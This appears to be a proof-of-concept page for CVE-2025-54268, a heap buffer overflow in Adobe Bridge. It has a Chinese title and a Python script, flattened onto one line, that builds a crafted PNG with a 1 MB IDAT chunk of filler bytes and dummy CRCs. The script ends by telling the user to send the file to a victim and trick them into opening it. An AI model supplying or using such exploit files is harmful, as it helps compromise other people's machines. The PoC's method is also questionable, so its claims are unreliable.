CVE-2025-54268：Adobe Bridge堆缓冲区溢出导致任意代码执行漏洞

# CVE-2025-54268 PoC - Adobe Bridge Heap-based Buffer Overflow # This PoC demonstrates the concept of triggering a heap buffer overflow # in Adobe Bridge by crafting a malicious file with oversized data. import struct def create_malicious_file(output_path): """ Create a crafted file that triggers heap buffer overflow in Adobe Bridge. The file contains a header followed by oversized payload data that exceeds the expected buffer size during parsing. """ # File header - mimics a valid file format recognized by Adobe Bridge header = b'\x89PNG\r\n\x1a\n' # PNG magic bytes # IHDR chunk (Image Header) - 13 bytes of data ihdr_data = struct.pack('>IIBBBBB', 100, 100, 8, 2, 0, 0, 0) ihdr_crc = struct.pack('>I', 0x1A2B3C4D) # Dummy CRC ihdr_chunk = struct.pack('>I', len(ihdr_data)) + b'IHDR' + ihdr_data + ihdr_crc # Malicious oversized IDAT chunk - triggers heap buffer overflow # Normal IDAT chunks are bounded by the image dimensions, # but we provide data far exceeding expected buffer size overflow_size = 0x100000 # 1MB of overflow data overflow_payload = b'\x41' * overflow_size # Craft IDAT chunk with oversized compressed data idat_chunk = struct.pack('>I', len(overflow_payload)) + b'IDAT' + overflow_payload idat_crc = struct.pack('>I', 0xDEADBEEF) idat_chunk += idat_crc # IEND chunk - marks end of PNG iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', 0xAE426082) # Assemble the malicious file malicious_file = header + ihdr_chunk + idat_chunk + iend_chunk with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file created: {output_path}") print(f"[!] File size: {len(malicious_file)} bytes") print(f"[!] Overflow payload size: {overflow_size} bytes") if __name__ == '__main__': create_malicious_file('exploit_CVE-2025-54268.png') print("\n[*] Usage: Send this file to victim and trick them into") print(" opening it with Adobe Bridge (versions <= 14.1.8 or <= 15.1.1)")